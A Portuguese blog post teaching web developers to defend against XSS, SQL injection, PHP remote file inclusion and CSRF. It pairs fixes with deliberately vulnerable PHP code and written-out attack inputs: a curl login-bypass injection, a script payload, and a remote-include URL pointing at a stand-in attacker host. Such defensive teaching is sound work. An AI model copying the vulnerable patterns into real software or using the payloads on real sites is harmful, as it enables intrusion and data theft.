Seria perfeito se o mundo fosse feito apenas de pessoas bem-intencionadas. Acontece que é mais fácil os alienígenas exterminarem a raça humana, do que o homem deixar de tirar proveito de alguma situação.
Quando estamos desenvolvendo nossas aplicações web, temos que “pensar” como um usuário mal-intencionado. Não somente para garantir o bom funcionamento da mesma, mas também para garantir a segurança e bem-estar dos “usuários civis” que consomem os nossos serviços.
Vamos explorar alguns problemas relacionados a segurança, e mostrar como solucioná-los de forma simples e prática.
E esta é a minha primeira dica para você: use frameworks sempre que possível!
Eles já possuem um conjunto de ferramentas que contornam problemas como SQL Injection, XSS e CSRF. Pessoas muito inteligentes já pensaram no problema e já solucionaram para você. Na maioria dos casos, mais de uma vez!
Em alguns frameworks, como o Django e Codeigniter, essas ferramentas são quase “transparentes”, ou seja, você tem pouco (ou nenhum) trabalho para utilizá-las no cotidiano.
Já trabalhei por muito tempo com “desenvolvimento from scratch”, e hoje posso apontar vários pontos de falhas em aplicações que produzi no passado. Os frameworks diminuem muito estes pontos, por isso vale a pena o seu uso.
Como eu comecei com o PHP, sei muito bem que este é um problema comum em aplicações desenvolvidas por iniciantes.
Nunca confie no usuário, e principalmente nunca confie em validações realizadas pelo Javascript. Todo ponto de entrada de informação deve possuir uma validação no server-side, mesmo que exista uma validação no client-side. Lembre-se: Existem navegadores que não utilizam Javascript, e mesmo os que utilizam, permitem que o usuário desabilite esta função.
No Django, podemos fazer validações de formulários através de Forms. No Codeigniter fazemos através da Form Validation Class. Em PHP “puro”, podemos fazer validações através da biblioteca Validate.
As ferramentas citadas acima são extremamente eficientes para ações realizadas via POST. Mas e quando temos parâmetros vindos da URL, através do método GET, qual é a melhor maneira de agirmos?
Há um bom tempo que as “URLs amigáveis” deixaram de ser um diferencial nas aplicações web e tornaram-se item obrigatório. Além de trazer o benefício do SEO, elas podem ser uma grande aliada quando o assunto é segurança.
URLs que antes eram feitas dessa maneira:
/blog.php?year=2012&month=12&day=21
Podem ser reproduzidas desta forma:
/blog/2012/12/21/
O mecanismo de rotas de alguns frameworks permite a utilização de expressões regulares na construção do caminho. Por exemplo, em Django temos o seguinte cenário:
# urls.py
urlpatterns = patterns('',
...
(r'^blog/(?P<year>\d{4})/(?P<month>[0-9]{2})/(?P<day>\d{2})/$', 'blog.views.index'),
...
)
Determinamos que a rota inicia-se por blog
, sendo composta por um
valor numérico de 4 dígitos que atende pelo identificador year
,
outro valor de dois dígitos, indo de 0 a 9, chamado month
, e o
último um valor numérico de 2 dígitos chamado day
.
A verificação é feita no momento da requisição. Se a rota informada
bater com o padrão criado, ele executa a view blog.views
. Caso
contrário, se a rota não bater com nenhum padrão informado (por exemplo,
/blog/2012/aa/21/
), o usuário tomará um erro 404.
Em nossa view, resgataríamos esses valores da seguinte forma:
# blog/views.py
def index(request, year, month, day):
# Lógica de renderização...
Simples assim! Temos um “input” de informação através de GET, onde temos certeza do seu tipo e tamanho.
O mesmo resultado pode ser obtido com o Codeigniter, basta adicionar a
expressão desejada em seu application/config/routes.php
:
# application/config/routes.php
$route['blog/(\d{4})/([0-9]{2})/(\d{2})'] = "blog/index/$1/$2/$3";
Aos invés de utilizarmos identificadores, utilizamos a ordem dos grupos criados na expressão regular.
Você não precisa utilizar um framework para ter um esquema de rotas como ilustrado acima. Um resultado parecido pode ser atingido através do Nginx e do Apache com mod-rewrite. Veja um exemplo de uso apresentado numa thread do Stack Overflow.
É claro que verificações mais complexas, como por exemplo, se o nome do usuário informado na URL é válido, necessitam de regras específicas, muito provavelmente escritas dentro da view. Um ponto de falha que vale ressaltar é a criação de expressões regulares “genéricas”, que não discriminam o tipo e tamanho dos valores informados.
Mas e quando não temos como fugir de um valor passado via GET? Pode
acontecer! Por exemplo, em paginações (onde normalmente passamos um
valor page
como parâmetro), ou em uma busca (onde passamos o valor
pesquisado via GET).
Nesse caso, “forçamos” o tipo do dado informado, e diminuímos problemas de interpretação do nosso código:
<?php
$page = isset($_GET['page']) && preg_match('/^\d+$/', $_GET['page']) ? $_GET['page'] : 1;
?>
A solução acima não é infalível, mas é uma maneira de diminuírmos a incidência de erros. Se um valor diferente de inteiro positivo for passado, a página a ser exibida será a primeira.
É certo que, validando toda e qualquer informação que a sua aplicação receber, você diminuirá muito a ocorrência de problemas. Mas, mesmo confiando no tipo e nas dimensões da informação, não podemos confiar no seu conteúdo.
Imagine que você possua um blog. Só você pode escrever artigos nele, então você conhece o conteúdo da informação sendo produzida. Certo dia você resolve que os usuários poderão comentar no seu blog, e desenvolve uma ferramenta de comentários com todas as validações citadas anteriormente.
Até que em certo momento, um usuário mal-intencionado escreve um comentário no seu post, e neste comentário existe um script Javascript que explora uma falha de segurança do ActiveX (por exemplo). Logo, todos os leitores que utilizam Internet Explorer e leram o seu post são infectados por um malware que o seu blog ajudou a proliferar.
A injeção de um script em um website, através de campos de textos ou passagem de parâmetros, é caracterizado como um ataque de Cross-Site Scripting (ou XSS).
Uma maneira muito comum de evitar esse tipo de problema é simplesmente “escapando” ou removendo elementos HTML do conteúdo:
<?php
# xss.php
$var = $_GET['var'];
echo htmlspecialchars($var);
?>
Acessar xss.php
com um alert
Javascript como parâmetro, não
executará o comando, e sim apenas exibirá o conteúdo na tela, com os
caracteres que delimitam o elemento script
devidamente formatados:
http://localhost/xss.php?var=<script>alert("XSS!");</script>
Existem alguns Rich Text Editors que verificam e formatam o conteúdo do campo antes de uma submissão. Mas lembre-se! Editores WYSIWYG são basicamente Javascript, logo, se eu desabilitar o Javascript do meu navegador, posso enviar scripts maliciosos sem impeditivo nenhum, por isso, é sempre necessário fazermos esse tipo de validação no server-side.
O Codeigniter, com a opção $config['global_xss_filtering’]
como
TRUE
, filtra automaticamente os dados resgatados de GET ou POST.
O que acho bacana desse filtro, é que ele previne apenas a injeção de
scripts e atributos que podem de alguma forma prejudicar na segurança
da sua aplicação, não necessariamente formatando o conteúdo todo.
Este tratamento está ativo por padrão no engine de templates do Django. Embora isso não impeça o armazenamento do script no banco de dados, impede que a sua renderização afete os usuários da sua aplicação.
Uma outra forma muito bacana de prevenir este tipo de inconveniente é utilizando uma linguagem de marcação alternativa, como Textile e Markdown, em campos de textos abertos.
Entre as vulnerabilidades citadas, acredito que o SQL Injection é uma das mais destrutivas, tanto para a sua aplicação, quanto para os seus usuários.
Segundo o Wikipedia:
É um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entrada de dados de uma aplicação.
Os resultados podem ser os mais desastrosos, como por exemplo, o acesso de usuários não autorizados a áreas restritas, e o roubo de informações da sua base de dados. Abaixo, uma autenticação simples, utilizando nome de usuário e senha:
<?php
# sql-injection.php
if (isset($_POST['usuario']) && isset($_POST['senha'])) {
$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
// Abre conexão com o banco de dados
$link = mysql_connect('localhost', 'root', '');
// Seleciona a base de dados
mysql_select_db('exemplos_blog');
// Faz a consulta ao banco, comparando usuário e senha
$query = "SELECT 1 FROM usuario WHERE usuario = '{$usuario}' "
. "AND senha = '{$senha}'";
$result = mysql_query($query) or die("Query inválida: "
. mysql_error() . "\n");
mysql_close($link);
if (mysql_num_rows($result)) {
// Vai para a página logada
echo 'Login com sucesso';
} else {
// Errou o usuário e senha, volta para a página de login
echo 'Usuário e senha inválidos';
}
} else {
// Vai para a página de login
}
?>
Levando em consideração que temos um usuário com nome teste
e senha
teste
, se executarmos a instrução abaixo, será exibida uma mensagem
de login inválido:
$ curl --data "usuario=foo&senha=bar" http://localhost/sql-injection.php
Usuário e senha inválidos
Evidente! Este usuário não existe no banco de dados. Mas, podemos imaginar que a aplicação não possua proteção contra injeções SQL, então podemos fazer com que a consulta retorne positivo, e que nosso acesso seja garantido mesmo não possuindo um usuário no banco de dados.
$ curl --data "usuario=foo&senha=bar' OR '1' = '1" http://localhost/sql-injection.php
Login com sucesso
A nossa query, por não fazermos um tratamento nos campos do
formulário, foi composta pelo valor bar’ OR '1’ = ’1
, o que resultou
no seguinte SQL:
SELECT 1 FROM usuario
WHERE usuario = 'foo' AND senha = 'bar' OR '1' = '1'
Existem algumas soluções para este problema, como o uso de
addslashes
no PHP, mas os que fazem mais sentido para mim são:
mysql_real_escape_string
para formatar dados
antes de construir a query;mysqli
para consultas a bancos de dados MySQL,
ao invés do uso das funções mysql.A primeira é a mais prática de aplicarmos. No código anterior, bastaria
formatar os valores na hora que são resgatados do array $_POST
:
$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);
Com o mysqli, precisamos fazer algumas alterações no código, como demonstrado abaixo:
<?php
# sql-injection.php (com mysqli)
if (isset($_POST['usuario']) && isset($_POST['senha'])) {
$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
// Abre conexão com o banco de dados
$mysqli = new mysqli('localhost', 'root', '', 'exemplos_blog');
// Faz a consulta ao banco, comparando usuário e senha
$query = $mysqli->prepare("SELECT 1 FROM usuario WHERE usuario = ? "
. "AND senha = ?");
$query->bind_param('ss', $usuario, $senha);
$query->execute();
$query->store_result();
$num_rows = $query->num_rows;
$query->close();
if ($num_rows) {
// Vai para a página logada
echo 'Login com sucesso';
} else {
// Errou o usuário e senha, volta para a página de login
echo 'Usuário e senha inválidos';
}
} else {
// Vai para a página de login
}
?>
Mas como o mundo não é feito só de MySQL, se ocorrer de você utilizar um outro banco de dados, eu recomendo o uso da biblioteca PDO.
Como o Django utiliza ORM, e o Codeigniter tem a Active Record Class, nesses frameworks essa validação é feita no momento que interagimos com os seus models. Mas é sempre bom ter cuidado! Principalmente quando o ORM não atende o nosso requisito, e temos que partir para consultas SQL puras.
Uma boa dica é, sempre que persistirmos um usuário em nossa base de dados, armazenarmos a sua senha criptografada em um formato “sem volta” (conhecido como hash). Além de ser um princípio ético, que na minha opinião todo o desenvolver de aplicações deveria ter, garantimos que mesmo que a nossa aplicação seja invadida, as senhas dos usuários estarão “seguras”.
Embora o MD5 e o SHA1 sejam as escolhas mais populares, os desenvolvedores do Django recomendam o uso de algoritmos mais sofisticados, como o PBKDF2, por acreditarem que o poder computacional atingiu um nível, que senhas MD5 e SHA1 podem com considerável esforço ser quebradas.
Embora esta técnica possa acontecer em outras linguagens, o PHP dá muita margem para desenvolvedores menos experientes deixarem brechas para uma vulnerabilidade conhecida como PHP Injection.
Com o site dividido em seções, é comum termos inclusões de arquivos PHP para compor uma página. Para economizar esforço e linhas de código, deixamos as partes como menu e topo “estáticas”, e só alteramos o conteúdo do bloco principal da página. Acontece que em alguns casos, o desenvolvedor espera que um determinado arquivo seja importado de acordo com a URL que o internauta está visitando. Por exemplo:
<?php
# php-injection.php
$page = $_GET['page'];
include('topo.php');
include('menu.php');
include($page);
?>
Logo:
$ curl http://localhost/php-injection.php?page=novidades.php
No caso acima, estamos incluindo o arquivo novidades.php
e
automaticamente exibindo o seu conteúdo. Podemos navegar por outras
áreas do website, por exemplo, page=contato.php
ou
page=institucional.php
. Mas, e se informarmos
page=php-injection.php
?
Caímos num looping infinito!
E, infelizmente, esse é o menor dos nossos problemas. O PHP, quando
configurado com a opção allow_url_include
como TRUE
, é capaz
de importar arquivos de outros hosts. Logo, o atacante pode ter um
script malicioso hospedado em seu servidor, e passar o caminho dele
para a aplicação acima. A aplicação incluirá e interpretará o PHP que
estiver neste script:
$ curl http://localhost/php-injection.php?page=http://sitedoatacante.com.br/meu-script-malicioso.php.txt
Pronto! Temos código PHP de outra pessoa executando em nosso servidor.
Para resolver este problema, configure a opção allow_url_include
em seu php.ini
como FALSE
. Outro passo importante é, sempre que
for importar algum arquivo que dependa de informações vindas do usuário,
verifique o conteúdo desta informação. Exemplo:
switch($page) {
case 'novidades':
include('novidades.php');
break;
case 'contato':
include('contato.php');
break;
case 'institucional':
include('institucional.php');
break;
default:
include('404.php');
}
Este ataque não é tão incomum quanto deveria. Fique atento.
O Cross-site request forgery ou falsificação de solicitação entre sites, é uma forma de ataque que mescla a Engenharia Social com vulnerabilidades das aplicações web.
O ataque pode ser feito da seguinte forma:
Note que o primeiro item pode ser substituído por algum conteúdo link injetado via XSS em algum fórum ou área de comentários de um blog.
Embora o exemplo acima não represente tanta ameaça, existem vários tipos de aplicações que este tipo de técnica pode afetar. O exemplo do banco, encontrado no site The Open Web Application Security Project, é um excelente exempo de ataque CSRF.
Para prevenir este tipo de problema, podemos fazer um controle através de sessões e transmitir um token que identifique que a requisição foi de fato feita pelo usuário. Kinn Coelho Julião escreveu um post interessante para o PHP-SP, demonstrando como prevenir ataques CSRF através de token.
De fato, tanto o Django quanto o Codeigniter utilizam essa tática
para prevenir ataques CSRF. No Django, com o middleware
django.middleware.csrf.CsrfViewMiddleware
, basta adicionar a chamada
da templatetag ao formulário:
<form method="post" action=".">
{% csrf_token %}
...
</form>
A templatetag acima criará um campo oculto no formulário chamado
csrfmiddlewaretoken
. Quando um POST for realizado para a view em
questão, caso o conteúdo de csrfmiddlewaretoken
vindo do formulário
não “bata” com o conteúdo armazenado em sessão, o Django entende que
aquela requisição não foi feita de maneira “natural” (ou seja, acessando
o formulário e submetendo-o). Logo, fica subentendido que aquela
requisição veio de outra origem, e o framework não executa as
instruções da view (retornando um código 403).
No Codeigniter, com a opção $config['csrf_protection’]
como
TRUE
no arquivo application/config/config.php
, o framework
adicionará automaticamente o campo de proteção CSRF na abertura do
formulário:
<?php form_open(); ?>
Ficou um post grande, mas acredito que consegui cobrir os problemas de segurança mais conhecidos em aplicações Web. Como é possível notar, são vulnerabilidades que são facilmente contornáveis, mas que podem trazer sérios problemas para você e seus usuários caso a sua aplicação não esteja segura o bastante.
Reforço: Se você tiver a oportunidade de utilizar um framework, utilize! Eles possuem soluções prontas e bem testadas para prevenir os problemas citados acima, e outros tantos que surgem a cada dia na internet.